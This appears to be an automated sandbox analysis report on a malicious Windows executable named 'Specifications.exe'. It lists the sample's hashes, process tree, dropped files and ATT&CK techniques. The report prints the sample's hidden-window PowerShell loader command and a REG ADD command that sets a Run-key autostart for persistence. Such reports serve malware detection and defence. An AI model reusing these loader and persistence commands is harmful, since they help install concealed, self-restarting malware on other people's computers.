b26fa277f86ce0b561cd4c563fc0e2a44623fdc0ad0cf97d6222537937df50f4

General

Target

Specifications.exe
Size

757KB
MD5

1724bf93af4c371ce30369f59b3b43bf
SHA1

555106c85d133a1362904317afdae88e8c8d6b43
SHA256

b26fa277f86ce0b561cd4c563fc0e2a44623fdc0ad0cf97d6222537937df50f4
SHA512

fa2747830e3b7e0ca2ba9d8288e721ec96cf73608ba40787309b84ef4797a89f618613d2734b7a1850bfaa961da9ebb9f606e90c61c241c92d564bd7ad9f7df6
SSDEEP

12288:5FRwba0Ugzh4BIUFPefhPh7kwIpur5QF/gtVIhodF8NBQX4A/cORo:KOLgrUFEhPh7kNpDF/goKdyNBNA/c

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1996	powershell.exe
3036	immeritoriously.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Tekknet = "%Fremdateret% -windowstyle minimized $lowy=(Get-ItemProperty -Path 'HKCU:\\Anthrapyridine\\').Antialbumin;%Fremdateret% ($lowy)"	reg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Synergastic\oprejsningers.for	Specifications.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1996	powershell.exe
3036	immeritoriously.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1996 set thread context of 3036	1996	powershell.exe	32

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\preadvisable\dorsolateral.ini	Specifications.exe
File opened for modification	C:\Windows\resources\0409\Fordunkles\glaikit.pup	Specifications.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x000f00000001226c-18.dat	nsis_installer_1
behavioral1/files/0x000f00000001226c-18.dat	nsis_installer_2

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2580	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 1996	1576	Specifications.exe	28
PID 1576 wrote to memory of 1996	1576	Specifications.exe	28
PID 1576 wrote to memory of 1996	1576	Specifications.exe	28
PID 1576 wrote to memory of 1996	1576	Specifications.exe	28
PID 1996 wrote to memory of 2792	1996	powershell.exe	30
PID 1996 wrote to memory of 2792	1996	powershell.exe	30
PID 1996 wrote to memory of 2792	1996	powershell.exe	30
PID 1996 wrote to memory of 2792	1996	powershell.exe	30
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 1996 wrote to memory of 3036	1996	powershell.exe	32
PID 3036 wrote to memory of 2516	3036	immeritoriously.exe	33
PID 3036 wrote to memory of 2516	3036	immeritoriously.exe	33
PID 3036 wrote to memory of 2516	3036	immeritoriously.exe	33
PID 3036 wrote to memory of 2516	3036	immeritoriously.exe	33
PID 2516 wrote to memory of 2580	2516	cmd.exe	35
PID 2516 wrote to memory of 2580	2516	cmd.exe	35
PID 2516 wrote to memory of 2580	2516	cmd.exe	35
PID 2516 wrote to memory of 2580	2516	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\Specifications.exe
"C:\Users\Admin\AppData\Local\Temp\Specifications.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Skfulds175=Get-Content 'C:\Users\Admin\AppData\Local\hotdoggen\Bulkcarrieren.Hou';$Mesenteronic=$Skfulds175.SubString(54610,3);.$Mesenteronic($Skfulds175)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2792
- - C:\Users\Admin\AppData\Local\Temp\immeritoriously.exe
    "C:\Users\Admin\AppData\Local\Temp\immeritoriously.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tekknet" /t REG_EXPAND_SZ /d "%Fremdateret% -windowstyle minimized $lowy=(Get-ItemProperty -Path 'HKCU:\Anthrapyridine\').Antialbumin;%Fremdateret% ($lowy)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tekknet" /t REG_EXPAND_SZ /d "%Fremdateret% -windowstyle minimized $lowy=(Get-ItemProperty -Path 'HKCU:\Anthrapyridine\').Antialbumin;%Fremdateret% ($lowy)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\hotdoggen\Bulkcarrieren.Hou

Filesize
53KB

MD5
f9cfb3763d8507c5f1c448cfdbe34957

SHA1
eed922ec7b79a7a7cbd9932c9114ebfee0056744

SHA256
e9b9d717a2185eef8a258e01429768017d26d6167cb62084c241b9b982fb64d4

SHA512
06f9c3e6f24b06e19a0fa3cc5b933934cdf3e62d4f5510ae3bedcc9938837fdcdfcead02fe4de8a89893f7ccd3dd402c1c8456c65319f2562619b9229d16853f

Download Submit
C:\Users\Admin\AppData\Local\hotdoggen\Mammonish.Fro

Filesize
319KB

MD5
ac1b87f114afc3a08241f726d236e294

SHA1
3015700d1c89f76664d0a6ac7004f741e41e6d5f

SHA256
a9b56415b6be3bea2c53c028197e668348bbff6b6fe2d8ed2f69b811fe8ee759

SHA512
b90c4bedcc75a748692326fa89b2b02f797f6b34f3a5a665d552c67b13ce9e55b21fa0587aaeb02ba055b10938e6e45e2e45bf42a64b8af999d46138f92bb27d

Download Submit
\Users\Admin\AppData\Local\Temp\immeritoriously.exe

Filesize
757KB

MD5
1724bf93af4c371ce30369f59b3b43bf

SHA1
555106c85d133a1362904317afdae88e8c8d6b43

SHA256
b26fa277f86ce0b561cd4c563fc0e2a44623fdc0ad0cf97d6222537937df50f4

SHA512
fa2747830e3b7e0ca2ba9d8288e721ec96cf73608ba40787309b84ef4797a89f618613d2734b7a1850bfaa961da9ebb9f606e90c61c241c92d564bd7ad9f7df6

Download Submit
memory/1996-9-0x0000000073D31000-0x0000000073D32000-memory.dmp

Filesize
4KB

Download
memory/1996-11-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1996-10-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1996-12-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1996-13-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1996-17-0x00000000065D0000-0x0000000008D20000-memory.dmp

Filesize
39.3MB

Download
memory/1996-23-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/3036-22-0x0000000000400000-0x0000000001462000-memory.dmp

Filesize
16.4MB

Download
memory/3036-39-0x0000000000400000-0x0000000001462000-memory.dmp

Filesize
16.4MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads